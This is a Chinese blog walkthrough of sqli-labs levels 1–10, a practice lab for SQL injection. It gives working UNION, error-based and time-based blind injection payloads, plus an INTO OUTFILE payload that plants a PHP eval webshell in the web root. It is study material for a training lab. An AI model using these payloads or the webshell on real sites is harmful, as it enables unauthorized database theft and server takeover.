Sqli-labs闯关详解(1-10)

感觉sql注入忘的都差不多了 跑来把sqli-labs过一遍 也算是复习巩固个知识吧

  • 考查点:UNION联合查询注入(Less-1-5)

    Less-1

1.png
首先看到题目要求传一个id参数,且为数字型
因此传入?id=1开始测试,
2.png
加单引号报错,两个单引号正常显示,判断为字符型注入
3.png

开始使用order by进行列数判断,oder by 3正常显示,order by 4报错,由此判断有三列
使用 union 参数进行联合查询注入,union前面的参数报错才能执行union后面的数据,因此将 id = 1 改为 id = -1 开始进行注入
4.png
如图,2,3为显示位,此时可在 2 或 3 的位置进行手注

payload

注当前数据库名
?id=-1'union select 1,database(),3 --+
5.png

注表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
6.png

注某张表的字段,这里以users为例
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
7.png

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1' union select 1,group_concat(username),3 from security.users --+
8.png

Less-2

9.png
10.png
加单引号报错, id=1 and 1=1 显示正常,id=1 and 1=2 显示页面更改,判断为整形注入
11.png
依旧使用 oder by 判断列数,oder by 3正常显示,order by 4报错,故为四列

与第一题差不多,把id=1后面的单引号去掉就可以了,直接放payload

payload

注当前数据库名
?id=-1 union select 1,database(),3 --+

注表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

注某张表的字段,这里以users为例
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1 union select 1,group_concat(username),3 from security.users --+

Less-3

12.png
加单引号报错,报错信息多了一个括号,判断接收参数可能为id = (‘1’),输入id=1') --+ 页面正常显示,可以使用order by 进行判断注入
13.png

payload

注当前数据库名
?id=-1') union select 1,database(),3 --+

注表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

注某张表的字段,这里以users为例
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1') union select 1,group_concat(username),3 from security.users --+

Less-4

和第三题差不多,判断传参格式应该是 id=(“1”),所以将三题中的单引号换成双引号即可,直接放payload

payload

注当前数据库名
?id=-1") union select 1,database(),3 --+

注表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

注某张表的字段,这里以users为例
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1") union select 1,group_concat(username),3 from security.users --+

  • 考查点:双查询报错注入(Less-5,Less-6)

    Less-5

首先输入id=1,页面正常,加单引号报错,两个单引号页面正常显示,但均无输出部分,判断应该没有显示位,此时可尝试报错注入。

常用的报错语句模板:

  1. 通过floor报错
    and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符

  2. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

  3. 通过ExtractValue报错
    and extractvalue(1, payload)
    输出字符有长度限制,最长32位。

这里使用第一种报错方式进行注入

payload

注当前数据库名
?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x;--+
14.png

注表名
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+
15.png

注某张表的字段,这里以users为例
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+
16.png

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1' union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+
17.png

Less-6

18.png
与第五题相似,题目已经提示双查询报错注入,字符串型。
所以直接放payload了,将第五题id=-1的单引号换成双引号即可

payload

注当前数据库名
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+

注表名
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+

注某张表的字段,这里以users为例
?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+

注字段的值,这里注 users 表里的 usrname 字段为例
?id=-1" union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x;--+

Less-7

首先拿 sqlmap 跑了一下,布尔盲注和时间延迟注入均可
19.png

20.png
思考:文章开头便提示使用 outfile,可以想到使用 mysql 写文件,比如写入一句话木马使用菜刀等工具连接

尝试 id=1'以及id=1' and 1=1 --+报错,
继续尝试id=1" and 1=1 --+页面正常
21.png
继续尝试id=1" and 1=2 --+页面依旧正常说明"并不能闭合
22.png
继续尝试至id=1')) and 1=1 --+页面显示正常,id=1')) and 1=2 --+页面显示错误说明and 1=2语句被执行,闭合条件为 id=1'))
23.png

24.png

此时可以进行注入使用outfile写文件至 web 服务器
mysql 使用 into outfile 写文件需要写清绝对路径,可以使用@@datadir查询数据库存储路径@@basedir查询mysql安装路径,这里可以利用之前几关进行查询一下。
25.png

如图,将文件写入了本地的web服务器(文件必须是不存在的,否则写不进去)
26.png

payload

使用mysql 写一句话木马
?id=-1')) union select 1,'<?php @eval($_POST["wcute"]); ?>',3 into outfile "D:\\phpStudy\\WWW\\wcute.php" --+
27.png
使用菜刀连接
28.png
29.png

Less-8

和第七关差不多,将id=1’))换成id=1’即可

payload

使用mysql 写一句话木马
?id=-1' union select 1,'<?php @eval($_POST["wcute"]); ?>',3 into outfile "D:\\phpStudy\\WWW\\wcute.php" --+
30.png

Less-9

输入id=1加单引号或者其他符号,页面一直没有变化,考虑试一下基于时间的延迟注入
使用burp多番测试后,测出payload为?id=1' and sleep(5) --+
31.png
对数据库进行探测,由于之前已知数据库为securitys的ASCII值为115
使用语句进行判断
32.png
返回时间延迟,证明第一个字段等于s,其余类似爆出其他字段

payload

爆数据库第一个字母
?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
爆第一个数据库(security)的第一个字母
?id=1' and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) --+
爆当前数据库(security)的第一个表(emails)的第一个字母
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) --+

附上sqlmap跑的结果
33.png

Less-10

和第十题类似,只需将单引号换成双引号,即id=1'换成id=1"

payload

爆数据库第一个字母
?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
爆第一个数据库(security)的第一个字母
?id=1" and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) --+
爆当前数据库(security)的第一个表(emails)的第一个字母
?id=1" and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母
?id=1" and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) --+